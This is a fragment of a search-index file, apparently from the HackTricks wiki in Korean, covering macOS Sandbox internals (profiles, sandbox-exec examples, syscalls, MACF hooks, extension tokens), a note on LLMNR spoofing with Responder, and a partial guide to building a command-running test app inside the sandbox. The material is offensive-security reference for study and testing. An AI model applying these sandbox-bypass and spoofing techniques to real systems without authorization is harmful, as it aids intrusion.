달성할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Launch/Environment Constraints & Trust Cache » Electron 보호","id":"2579","title":"Electron 보호"},"258":{"body":"Reading time: 10 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » LLMNR, NBT-NS, mDNS/DNS 및 WPAD 및 릴레이 공격 스푸핑","id":"258","title":"LLMNR, NBT-NS, mDNS/DNS 및 WPAD 및 릴레이 공격 스푸핑"},"2580":{"body":"https://youtu.be/f1HA5QhLQ7Y?t=24146 https://theevilbit.github.io/posts/launch_constraints_deep_dive/ https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/ https://developer.apple.com/videos/play/wwdc2023/10266/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Launch/Environment Constraints & Trust Cache » 참고 문헌","id":"2580","title":"참고 문헌"},"2581":{"body":"Reading time: 15 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox","id":"2581","title":"macOS Sandbox"},"2582":{"body":"MacOS Sandbox (초기 이름: Seatbelt) 는 샌드박스 내에서 실행되는 애플리케이션의 허용된 작업을 샌드박스 프로필에 지정된 대로 제한 합니다. 이는 애플리케이션이 예상된 리소스만 접근하도록 보장하는 데 도움 을 줍니다. com.apple.security.app-sandbox 권한을 가진 모든 앱은 샌드박스 내에서 실행됩니다. Apple 바이너리 는 일반적으로 샌드박스 내에서 실행되며, App Store의 모든 애플리케이션은 해당 권한을 가집니다 . 따라서 여러 애플리케이션이 샌드박스 내에서 실행됩니다. 프로세스가 할 수 있는 것과 할 수 없는 것을 제어하기 위해 샌드박스는 프로세스가 시도할 수 있는 거의 모든 작업(대부분의 시스템 호출 포함)에 후크 를 가지고 있습니다. 그러나 앱의 권한 에 따라 샌드박스는 프로세스에 대해 더 관대할 수 있습니다. 샌드박스의 몇 가지 중요한 구성 요소는 다음과 같습니다: 커널 확장 /System/Library/Extensions/Sandbox.kext 프라이빗 프레임워크 /System/Library/PrivateFrameworks/AppSandbox.framework 사용자 공간에서 실행되는 데몬 /usr/libexec/sandboxd 컨테이너 ~/Library/Containers","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » Basic Information","id":"2582","title":"Basic Information"},"2583":{"body":"모든 샌드박스화된 애플리케이션은 ~/Library/Containers/{CFBundleIdentifier}에 고유한 컨테이너를 가집니다: bash ls -l ~/Library/Containers\\ntotal 0\\ndrwx------@ 4 username staff 128 May 23 20:20 com.apple.AMPArtworkAgent\\ndrwx------@ 4 username staff 128 May 23 20:13 com.apple.AMPDeviceDiscoveryAgent\\ndrwx------@ 4 username staff 128 Mar 24 18:03 com.apple.AVConference.Diagnostic\\ndrwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings.extension\\ndrwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler\\n[...] 각 번들 ID 폴더 안에는 plist 와 홈 폴더를 모방한 구조의 앱 데이터 디렉토리 를 찾을 수 있습니다: bash cd /Users/username/Library/Containers/com.apple.Safari\\nls -la\\ntotal 104\\ndrwx------@ 4 username staff 128 Mar 24 18:08 .\\ndrwx------ 348 username staff 11136 May 23 20:57 ..\\n-rw-r--r-- 1 username staff 50214 Mar 24 18:08 .com.apple.containermanagerd.metadata.plist\\ndrwx------ 13 username staff 416 Mar 24 18:05 Data ls -l Data\\ntotal 0\\ndrwxr-xr-x@ 8 username staff 256 Mar 24 18:08 CloudKit\\nlrwxr-xr-x 1 username staff 19 Mar 24 18:02 Desktop -> ../../../../Desktop\\ndrwx------ 2 username staff 64 Mar 24 18:02 Documents\\nlrwxr-xr-x 1 username staff 21 Mar 24 18:02 Downloads -> ../../../../Downloads\\ndrwx------ 35 username staff 1120 Mar 24 18:08 Library\\nlrwxr-xr-x 1 username staff 18 Mar 24 18:02 Movies -> ../../../../Movies\\nlrwxr-xr-x 1 username staff 17 Mar 24 18:02 Music -> ../../../../Music\\nlrwxr-xr-x 1 username staff 20 Mar 24 18:02 Pictures -> ../../../../Pictures\\ndrwx------ 2 username staff 64 Mar 24 18:02 SystemData\\ndrwx------ 2 username staff 64 Mar 24 18:02 tmp caution 심볼릭 링크가 Sandbox에서 \\"탈출\\"하여 다른 폴더에 접근하기 위해 존재하더라도, 앱은 여전히 접근 권한 을 가져야 합니다. 이러한 권한은 RedirectablePaths의 .plist 안에 있습니다. **SandboxProfileData**는 B64로 이스케이프된 컴파일된 샌드박스 프로필 CFData입니다. bash # Get container config\\n## You need FDA to access the file, not even just root can read it\\nplutil -convert xml1 .com.apple.containermanagerd.metadata.plist -o - # Binary sandbox profile\\nSandboxProfileData\\n\\nAAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... # In this file you can find the entitlements:\\nEntitlements\\n\\ncom.apple.MobileAsset.PhishingImageClassifier2\\n\\ncom.apple.accounts.appleaccount.fullaccess\\n\\ncom.apple.appattest.spi\\n\\nkeychain-access-groups\\n\\n6N38VWS5BX.ru.keepcoder.Telegram\\n6N38VWS5BX.ru.keepcoder.TelegramShare\\n\\n[...] # Some parameters\\nParameters\\n\\n_HOME\\n/Users/username\\n_UID\\n501\\n_USER\\nusername\\n[...] # The paths it can access\\nRedirectablePaths\\n\\n/Users/username/Downloads\\n/Users/username/Documents\\n/Users/username/Library/Calendars\\n/Users/username/Desktop\\nRedirectedPaths\\n\\n[...] warning Sandbox 애플리케이션에 의해 생성/수정된 모든 것은 격리 속성 을 갖게 됩니다. 이는 샌드박스 앱이 **open**으로 무언가를 실행하려고 할 때 Gatekeeper를 트리거하여 샌드박스 공간을 방지합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » Containers","id":"2583","title":"Containers"},"2584":{"body":"Sandbox 프로파일은 해당 Sandbox 에서 허용/금지 될 내용을 나타내는 구성 파일입니다. 이는 Scheme 프로그래밍 언어를 사용하는 **Sandbox 프로파일 언어(SBPL)**를 사용합니다. 여기 예제가 있습니다: scheme (version 1) ; First you get the version (deny default) ; Then you shuold indicate the default action when no rule applies (allow network*) ; You can use wildcards and allow everything (allow file-read* ; You can specify where to apply the rule\\n(subpath \\"/Users/username/\\")\\n(literal \\"/tmp/afile\\")\\n(regex #\\"^/private/etc/.*\\")\\n) (allow mach-lookup\\n(global-name \\"com.apple.analyticsd\\")\\n) tip 이 연구 를 확인하여 허용되거나 거부될 수 있는 더 많은 작업을 확인하세요. 프로파일의 컴파일된 버전에서는 작업의 이름이 dylib와 kext에서 알려진 배열의 항목으로 대체되어 컴파일된 버전이 더 짧고 읽기 어렵게 만듭니다. 중요한 시스템 서비스 는 mdnsresponder 서비스와 같은 자체 맞춤 샌드박스 내에서 실행됩니다. 이러한 맞춤 샌드박스 프로파일 은 다음에서 확인할 수 있습니다: /usr/share/sandbox /System/Library/Sandbox/Profiles 다른 샌드박스 프로파일은 https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles 에서 확인할 수 있습니다. App Store 앱은 프로파일 **/System/Library/Sandbox/Profiles/application.sb**를 사용합니다. 이 프로파일에서 **com.apple.security.network.server**와 같은 권한이 프로세스가 네트워크를 사용할 수 있도록 허용하는 방법을 확인할 수 있습니다. 그런 다음, 일부 Apple 데몬 서비스 는 /System/Library/Sandbox/Profiles/*.sb 또는 /usr/share/sandbox/*.sb에 위치한 다른 프로파일을 사용합니다. 이러한 샌드박스는 API sandbox_init_XXX를 호출하는 주요 기능에 적용됩니다. SIP 는 /System/Library/Sandbox/rootless.conf에 있는 platform_profile이라는 샌드박스 프로파일입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » Sandbox 프로파일","id":"2584","title":"Sandbox 프로파일"},"2585":{"body":"특정 샌드박스 프로파일 로 애플리케이션을 시작하려면 다음을 사용할 수 있습니다: bash sandbox-exec -f example.sb /Path/To/The/Application touch touch.sb (version 1)\\n(deny default)\\n(allow file* (literal \\"/tmp/hacktricks.txt\\")) bash # This will fail because default is denied, so it cannot execute touch\\nsandbox-exec -f touch.sb touch /tmp/hacktricks.txt\\n# Check logs\\nlog show --style syslog --predicate \'eventMessage contains[c] \\"sandbox\\"\' --last 30s\\n[...]\\n2023-05-26 13:42:44.136082+0200 localhost kernel[0]: (Sandbox) Sandbox: sandbox-exec(41398) deny(1) process-exec* /usr/bin/touch\\n2023-05-26 13:42:44.136100+0200 localhost kernel[0]: (Sandbox) Sandbox: sandbox-exec(41398) deny(1) file-read-metadata /usr/bin/touch\\n2023-05-26 13:42:44.136321+0200 localhost kernel[0]: (Sandbox) Sandbox: sandbox-exec(41398) deny(1) file-read-metadata /var\\n2023-05-26 13:42:52.701382+0200 localhost kernel[0]: (Sandbox) 5 duplicate reports for Sandbox: sandbox-exec(41398) deny(1) file-read-metadata /var\\n[...] touch2.sb (version 1)\\n(deny default)\\n(allow file* (literal \\"/tmp/hacktricks.txt\\"))\\n(allow process* (literal \\"/usr/bin/touch\\"))\\n; This will also fail because:\\n; 2023-05-26 13:44:59.840002+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-metadata /usr/bin/touch\\n; 2023-05-26 13:44:59.840016+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /usr/bin/touch\\n; 2023-05-26 13:44:59.840028+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /usr/bin\\n; 2023-05-26 13:44:59.840034+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-metadata /usr/lib/dyld\\n; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs\\n; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data / touch3.sb (version 1)\\n(deny default)\\n(allow file* (literal \\"/private/tmp/hacktricks.txt\\"))\\n(allow process* (literal \\"/usr/bin/touch\\"))\\n(allow file-read-data (literal \\"/\\"))\\n; This one will work tip Apple이 작성한 소프트웨어 는 Windows 에서 추가적인 보안 조치 가 없으며, 애플리케이션 샌드박스와 같은 기능이 없습니다. 우회 예시: https://lapcatsoftware.com/articles/sandbox-escape.html https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c (그들은 ~$로 시작하는 이름의 파일을 샌드박스 외부에 쓸 수 있습니다).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » 샌드박스 프로파일 예시","id":"2585","title":"샌드박스 프로파일 예시"},"2586":{"body":"프로필을 통한 샌드박스가 매번 작업이 확인될 때 수행하는 모든 검사를 추적할 수 있습니다. 이를 위해 다음 프로필을 생성하십시오: trace.sb (version 1)\\n(trace /tmp/trace.out) 그런 다음 해당 프로필을 사용하여 무언가를 실행하십시오: bash sandbox-exec -f /tmp/trace.sb /bin/ls In /tmp/trace.out에서는 호출될 때마다 수행된 각 샌드박스 검사를 볼 수 있습니다(즉, 많은 중복이 발생합니다). -t 매개변수를 사용하여 샌드박스를 추적할 수도 있습니다: sandbox-exec -t /path/trace.out -p \\"(version 1)\\" /bin/ls API를 통한 방법 libsystem_sandbox.dylib에서 내보낸 sandbox_set_trace_path 함수는 샌드박스 검사가 기록될 추적 파일 이름을 지정할 수 있게 해줍니다. sandbox_vtrace_enable()을 호출하고, 그 후 sandbox_vtrace_report()를 호출하여 버퍼에서 로그 오류를 가져오는 유사한 작업도 가능합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » 샌드박스 추적","id":"2586","title":"샌드박스 추적"},"2587":{"body":"libsandbox.dylib는 프로세스의 샌드박스 상태 목록(확장 포함)을 제공하는 sandbox_inspect_pid라는 함수를 내보냅니다. 그러나 이 함수는 플랫폼 바이너리만 사용할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » 샌드박스 검사","id":"2587","title":"샌드박스 검사"},"2588":{"body":"MacOS는 시스템 샌드박스 프로파일을 두 위치에 저장합니다: /usr/share/sandbox/ 및 /System/Library/Sandbox/Profiles . 그리고 서드파티 애플리케이션이 com.apple.security.app-sandbox 권한을 가지고 있다면, 시스템은 해당 프로세스에 /System/Library/Sandbox/Profiles/application.sb 프로파일을 적용합니다. iOS에서는 기본 프로파일이 container 라고 하며, SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대한 허용/거부 이진 트리로 표현됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » MacOS 및 iOS 샌드박스 프로파일","id":"2588","title":"MacOS 및 iOS 샌드박스 프로파일"},"2589":{"body":"회사가 사용자 정의 샌드박스 프로파일 로 앱을 실행할 수 있는 가능성이 있습니다(기본 프로파일 대신). 그들은 Apple의 승인이 필요한 com.apple.security.temporary-exception.sbpl 권한을 사용해야 합니다. 이 권한의 정의는 **/System/Library/Sandbox/Profiles/application.sb:**에서 확인할 수 있습니다. scheme (sandbox-array-entitlement\\n\\"com.apple.security.temporary-exception.sbpl\\"\\n(lambda (string)\\n(let* ((port (open-input-string string)) (sbpl (read port)))\\n(with-transparent-redirection (eval sbpl))))) 이것은 이 권한 이후의 문자열을 Sandbox 프로필로 eval 합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » App Store 앱의 사용자 정의 SBPL","id":"2589","title":"App Store 앱의 사용자 정의 SBPL"},"259":{"body":"","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » 네트워크 프로토콜","id":"259","title":"네트워크 프로토콜"},"2590":{"body":"sandbox-exec 도구는 libsandbox.dylib의 sandbox_compile_* 함수를 사용합니다. 내보내는 주요 함수는 다음과 같습니다: sandbox_compile_file (파일 경로를 기대하며, 매개변수 -f), sandbox_compile_string (문자열을 기대하며, 매개변수 -p), sandbox_compile_name (컨테이너의 이름을 기대하며, 매개변수 -n), sandbox_compile_entitlements (권한 plist를 기대합니다). 이 도구의 리버스 및 오픈 소스 버전 은 **sandbox-exec**가 컴파일된 Sandbox 프로필을 파일에 기록하도록 허용합니다. 또한, 프로세스를 컨테이너 내에 제한하려면 sandbox_spawnattrs_set[container/profilename]를 호출하고 컨테이너 또는 기존 프로필을 전달할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » Sandbox 프로필 컴파일 및 디컴파일","id":"2590","title":"Sandbox 프로필 컴파일 및 디컴파일"},"2591":{"body":"macOS에서는 프로세스가 처음부터 커널에 의해 샌드박스화되는 iOS와 달리, 프로세스가 스스로 샌드박스에 참여해야 합니다 . 이는 macOS에서 프로세스가 적극적으로 샌드박스에 들어가기로 결정할 때까지 샌드박스에 의해 제한되지 않음을 의미하며, App Store 앱은 항상 샌드박스화됩니다. 프로세스는 com.apple.security.app-sandbox 권한이 있을 경우 사용자 공간에서 시작할 때 자동으로 샌드박스화됩니다. 이 프로세스에 대한 자세한 설명은 다음을 확인하십시오: macOS Sandbox Debug & Bypass","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » Sandbox 디버그 및 우회","id":"2591","title":"Sandbox 디버그 및 우회"},"2592":{"body":"확장은 객체에 추가 권한을 부여할 수 있으며, 다음 함수 중 하나를 호출하여 부여됩니다: sandbox_issue_extension sandbox_extension_issue_file[_with_new_type] sandbox_extension_issue_mach sandbox_extension_issue_iokit_user_client_class sandbox_extension_issue_iokit_registry_rentry_class sandbox_extension_issue_generic sandbox_extension_issue_posix_ipc 확장은 프로세스 자격 증명에서 접근할 수 있는 두 번째 MACF 레이블 슬롯에 저장됩니다. 다음 **sbtool**이 이 정보를 접근할 수 있습니다. 확장은 일반적으로 허용된 프로세스에 의해 부여된다는 점에 유의하십시오. 예를 들어, tccd는 프로세스가 사진에 접근하려고 시도하고 XPC 메시지에서 허용되었을 때 com.apple.tcc.kTCCServicePhotos의 확장 토큰을 부여합니다. 그런 다음 프로세스는 확장 토큰을 소비해야 추가됩니다. 확장 토큰은 부여된 권한을 인코딩하는 긴 16진수입니다. 그러나 허용된 PID가 하드코딩되어 있지 않으므로 토큰에 접근할 수 있는 모든 프로세스가 여러 프로세스에 의해 소비될 수 있습니다 . 확장은 권한과 매우 관련이 있으므로 특정 권한을 가지면 특정 확장이 자동으로 부여될 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » Sandbox 확장","id":"2592","title":"Sandbox 확장"},"2593":{"body":"이것에 따르면 , sandbox_check 함수(이는 __mac_syscall입니다)는 특정 PID, 감사 토큰 또는 고유 ID에 대해 작업이 허용되는지 여부를 확인할 수 있습니다 . 도구 sbtool (여기 컴파일된 버전 을 찾을 수 있습니다)은 PID가 특정 작업을 수행할 수 있는지 확인할 수 있습니다: bash sbtool mach #Check mac-ports (got from launchd with an api)\\nsbtool file /tmp #Check file access\\nsbtool inspect #Gives you an explanation of the sandbox profile and extensions\\nsbtool all","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » PID 권한 확인","id":"2593","title":"PID 권한 확인"},"2594":{"body":"샌드박스를 일시 중지하고 다시 시작하는 것도 가능합니다. libsystem_sandbox.dylib의 sandbox_suspend 및 sandbox_unsuspend 함수를 사용합니다. 일시 중지 함수를 호출하려면 다음과 같은 몇 가지 권한이 확인되어 호출자가 이를 호출할 수 있도록 승인됩니다: com.apple.private.security.sandbox-manager com.apple.security.print com.apple.security.temporary-exception.audio-unit-host","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » [un]suspend","id":"2594","title":"[un]suspend"},"2595":{"body":"이 시스템 호출 (#381)은 첫 번째 인수로 실행할 모듈을 나타내는 문자열을 기대하며, 두 번째 인수로 실행할 함수를 나타내는 코드를 기대합니다. 그런 다음 세 번째 인수는 실행된 함수에 따라 달라집니다. 함수 ___sandbox_ms 호출은 mac_syscall을 래핑하며 첫 번째 인수로 \\"Sandbox\\"를 나타냅니다. ___sandbox_msp는 mac_set_proc (#387)의 래퍼입니다. 그런 다음 ___sandbox_ms에서 지원되는 일부 코드는 다음 표에서 찾을 수 있습니다: set_profile (#0) : 프로세스에 컴파일된 또는 명명된 프로필을 적용합니다. platform_policy (#1) : 플랫폼별 정책 검사를 시행합니다 (macOS와 iOS 간에 다름). check_sandbox (#2) : 특정 샌드박스 작업의 수동 검사를 수행합니다. note (#3) : 샌드박스에 주석을 추가합니다. container (#4) : 일반적으로 디버깅 또는 식별을 위해 샌드박스에 주석을 첨부합니다. extension_issue (#5) : 프로세스에 대한 새로운 확장을 생성합니다. extension_consume (#6) : 주어진 확장을 사용합니다. extension_release (#7) : 사용된 확장에 연결된 메모리를 해제합니다. extension_update_file (#8) : 샌드박스 내의 기존 파일 확장의 매개변수를 수정합니다. extension_twiddle (#9) : 기존 파일 확장을 조정하거나 수정합니다 (예: TextEdit, rtf, rtfd). suspend (#10) : 모든 샌드박스 검사를 일시적으로 중지합니다 (적절한 권한 필요). unsuspend (#11) : 이전에 일시 중지된 모든 샌드박스 검사를 재개합니다. passthrough_access (#12) : 샌드박스 검사를 우회하여 리소스에 대한 직접적인 패스스루 액세스를 허용합니다. set_container_path (#13) : (iOS 전용) 앱 그룹 또는 서명 ID에 대한 컨테이너 경로를 설정합니다. container_map (#14) : (iOS 전용) containermanagerd에서 컨테이너 경로를 검색합니다. sandbox_user_state_item_buffer_send (#15) : (iOS 10+) 샌드박스에서 사용자 모드 메타데이터를 설정합니다. inspect (#16) : 샌드박스화된 프로세스에 대한 디버그 정보를 제공합니다. dump (#18) : (macOS 11) 분석을 위해 샌드박스의 현재 프로필을 덤프합니다. vtrace (#19) : 모니터링 또는 디버깅을 위한 샌드박스 작업을 추적합니다. builtin_profile_deactivate (#20) : (macOS < 11) 명명된 프로필을 비활성화합니다 (예: pe_i_can_has_debugger). check_bulk (#21) : 단일 호출에서 여러 sandbox_check 작업을 수행합니다. reference_retain_by_audit_token (#28) : 샌드박스 검사에 사용할 감사 토큰에 대한 참조를 생성합니다. reference_release (#29) : 이전에 유지된 감사 토큰 참조를 해제합니다. rootless_allows_task_for_pid (#30) : task_for_pid가 허용되는지 확인합니다 (유사한 csr 검사). rootless_whitelist_push (#31) : (macOS) 시스템 무결성 보호(SIP) 매니페스트 파일을 적용합니다. rootless_whitelist_check (preflight) (#32) : 실행 전에 SIP 매니페스트 파일을 검사합니다. rootless_protected_volume (#33) : (macOS) 디스크 또는 파티션에 SIP 보호를 적용합니다. rootless_mkdir_protected (#34) : 디렉토리 생성 프로세스에 SIP/DataVault 보호를 적용합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » mac_syscall","id":"2595","title":"mac_syscall"},"2596":{"body":"iOS에서는 커널 확장이 모든 프로필을 하드코딩 하여 __TEXT.__const 세그먼트 내에 포함되어 수정되지 않도록 합니다. 다음은 커널 확장에서 흥미로운 몇 가지 함수입니다: hook_policy_init : mpo_policy_init을 후킹하며 mac_policy_register 후에 호출됩니다. 샌드박스의 대부분 초기화를 수행합니다. SIP도 초기화합니다. hook_policy_initbsd : security.mac.sandbox.sentinel, security.mac.sandbox.audio_active 및 security.mac.sandbox.debug_mode를 등록하는 sysctl 인터페이스를 설정합니다 (PE_i_can_has_debugger로 부팅된 경우). hook_policy_syscall : \\"Sandbox\\"를 첫 번째 인수로 하고 두 번째 인수로 작업을 나타내는 코드를 사용하여 mac_syscall에 의해 호출됩니다. 요청된 코드에 따라 실행할 코드를 찾기 위해 switch가 사용됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » Sandbox.kext","id":"2596","title":"Sandbox.kext"},"2597":{"body":"**Sandbox.kext**는 MACF를 통해 백 개 이상의 후킹을 사용합니다. 대부분의 후킹은 사소한 경우를 확인하여 작업을 수행할 수 있도록 하며, 그렇지 않은 경우 **cred_sb_evalutate**를 호출하여 MACF의 credentials 와 수행할 operation 에 해당하는 숫자 및 출력용 buffer 를 전달합니다. 그 좋은 예는 _mpo_file_check_mmap 함수로, **mmap**을 후킹하며 새로운 메모리가 쓰기 가능할지 확인한 후 (그렇지 않으면 실행을 허용하지 않음), dyld 공유 캐시에서 사용되는지 확인하고 그렇다면 실행을 허용하며, 마지막으로 sb_evaluate_internal (또는 그 래퍼 중 하나)을 호출하여 추가 허용 검사를 수행합니다. 게다가, 샌드박스가 사용하는 수백 개의 후킹 중에서 특히 흥미로운 세 가지는 다음과 같습니다: mpo_proc_check_for: 필요할 경우 프로필을 적용하며 이전에 적용되지 않은 경우에만 적용합니다. mpo_vnode_check_exec: 프로세스가 관련 이진 파일을 로드할 때 호출되며, 프로필 검사가 수행되고 SUID/SGID 실행을 금지하는 검사도 수행됩니다. mpo_cred_label_update_execve: 레이블이 할당될 때 호출됩니다. 이 함수는 이진 파일이 완전히 로드되었지만 아직 실행되지 않았을 때 호출되며, 샌드박스 객체를 생성하고, kauth 자격 증명에 샌드박스 구조를 첨부하고, mach 포트에 대한 액세스를 제거하는 등의 작업을 수행합니다. **_cred_sb_evalutate**는 **sb_evaluate_internal**의 래퍼이며, 이 함수는 전달된 자격 증명을 가져온 후 eval 함수를 사용하여 평가를 수행합니다. 이 함수는 일반적으로 모든 프로세스에 기본적으로 적용되는 platform profile 을 평가한 다음 specific process profile 을 평가합니다. 플랫폼 프로필은 macOS의 SIP 의 주요 구성 요소 중 하나입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » MACF Hooks","id":"2597","title":"MACF Hooks"},"2598":{"body":"샌드박스는 또한 XPC Mach 서비스 com.apple.sandboxd를 노출하는 사용자 데몬을 실행하며, 커널 확장이 통신하는 데 사용하는 특별한 포트 14 (HOST_SEATBELT_PORT)에 바인딩됩니다. MIG를 사용하여 일부 기능을 노출합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » Sandboxd","id":"2598","title":"Sandboxd"},"2599":{"body":"*OS Internals Volume III tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » References","id":"2599","title":"References"},"26":{"body":"공격하고자 하는 기계에 물리적 접근 이 있습니까? 물리적 공격에 대한 몇 가지 트릭 과 GUI 애플리케이션에서 탈출하는 방법 에 대해 읽어보세요.","breadcrumbs":"Pentesting Methodology » 0- 물리적 공격","id":"26","title":"0- 물리적 공격"},"260":{"body":"LLMNR, NBT-NS, 및 mDNS : Microsoft 및 기타 운영 체제는 DNS가 실패할 때 로컬 이름 해상을 위해 LLMNR 및 NBT-NS를 사용합니다. 유사하게, Apple 및 Linux 시스템은 mDNS를 사용합니다. 이러한 프로토콜은 UDP를 통한 인증되지 않은 브로드캐스트 특성으로 인해 가로채기 및 스푸핑에 취약합니다. Responder 는 이러한 프로토콜을 쿼리하는 호스트에 위조된 응답을 전송하여 서비스를 가장하는 데 사용할 수 있습니다. Responder를 사용한 서비스 가장에 대한 추가 정보는 여기 에서 확인할 수 있습니다.","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » 로컬 호스트 해상도 프로토콜","id":"260","title":"로컬 호스트 해상도 프로토콜"},"2600":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 이 페이지에서는 기본 macOS 샌드박스 내에서 임의의 명령을 실행하는 앱을 만드는 방법을 찾을 수 있습니다: 애플리케이션 컴파일: main.m #include int main(int argc, const char * argv[]) {\\n@autoreleasepool {\\nwhile (true) {\\nchar input[512]; printf(\\"Enter command to run (or \'exit\' to quit): \\");\\nif (fgets(input, sizeof(input), stdin) == NULL) {\\nbreak;\\n} // Remove newline character\\nsize_t len = strlen(input);\\nif (len > 0 && input[len - 1] == \'\\\\n\') {\\ninput[len - 1] = \'\\\\0\';\\n} if (strcmp(input, \\"exit\\") == 0) {\\nbreak;\\n} system(input);\\n}\\n}\\nreturn 0;\\n} clang -framework Foundation -o SandboxedShellApp main.m를 실행하여 컴파일합니다. .app 번들을 빌드합니다. bash mkdir -p SandboxedShellApp.app/Contents/MacOS\\nmv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/ cat << EOF > SandboxedShellApp.app/Contents/Info.plist\\n\\n\\n\\n\\nCFBundleIdentifier\\ncom.example.SandboxedShellApp\\nCFBundleName\\nSandboxedShellApp\\nCFBundleVersion\\n1.0\\nCFBundleExecutable\\nSandboxedShellApp\\n\\n\\nEOF 권한 정의 sandbox\\nsandbox + downloads bash cat << EOF > entitlements.plist\\n\\n\\n\\n\\ncom.apple.security.app-sandbox\\n\\n\\n\\nEOF bash cat << EOF > entitlements.plist\\n\\n\\n\\n\\ncom.apple.security.app-sandbox\\n\\ncom.apple.security.files.downloads.read-write\\n\\n\\n\\nEOF 앱 서명 (키체인에서 인증서를 생성해야 함) 